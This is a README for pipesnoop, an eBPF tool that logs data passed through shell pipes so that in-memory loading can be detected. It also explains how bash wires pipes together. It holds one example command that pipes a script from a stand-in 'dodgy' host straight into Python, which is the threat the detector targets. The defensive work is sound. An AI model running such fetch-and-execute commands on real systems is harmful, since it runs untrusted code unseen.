Example program using eBPF to log data being based in using shell pipes (|
)
Accompanies my blog Using eBPF to uncover in-memory loading
Shells can parse data between programs using pipes, e.g.:
curl https://dodgy.com/loader.py | python -
In this example, a python script is downloaded from the internet and executed, without the file being written to disk, and its content is not visible on the commnandline.
pipesnoop
is a demonstration of how you could detect when data is being passed using pipes
and log it, all using eBPF.
# First clone the repository and the libbpf submodule
git clone --recursive https://github.com/pathtofile/bpf-pipesnoop.git
cd bpf-pipesnoop/src
make
This should generate the program pipesnoop
in the same directory.
Just run as root and watch the output:
sudo ./pipesnoop
(Note experts will have better descripion than this) When bash is given a command to run multiple programs with a pipe in between, a number of things happen. If the example is:
bash -c "apple | banana"
Then this will happen:
bash will use the syscall pipe
to create an annonamous pipe.
This returns two file descriptors, 1 for each end of the pip, e.g. fds 3
and 4
.
bash will call clone
twice to create apple
and banana
.
Both programs inhearet all of bash's fds, so they also has fds 3
and 4
.
important note this means both apple
and banana
start running at (almost) the same time,
i.e. banana
does not wait for apple
to finish before running.
apple
will close one end of the pipe e.g. 3
, then call dup2
to overwrite its stdout
or 1
fd with the non-closed end of the pipe, e.g. dup2(4, 1)
.
banana
will close the other end of the pipe, e.g. 4
, then call dup2
to overwrite its stdin
or 0
fd with the non-closed end of the pipe, e.g. dup2(3, 0)
.
apple
will start writing data to stdout
like normal, but due to the dup2
call it ends up instead into the pipe.
banana
will start reading data from its stdin
like normal, but due to the dup2
call it ends up instead reading from the pipe.
When apple
closes, it will send an 'end of stream' down the pipe, so banana
knows it has finished reading.
The skeleton of this project was made with the help of Libpf-Bootstrap.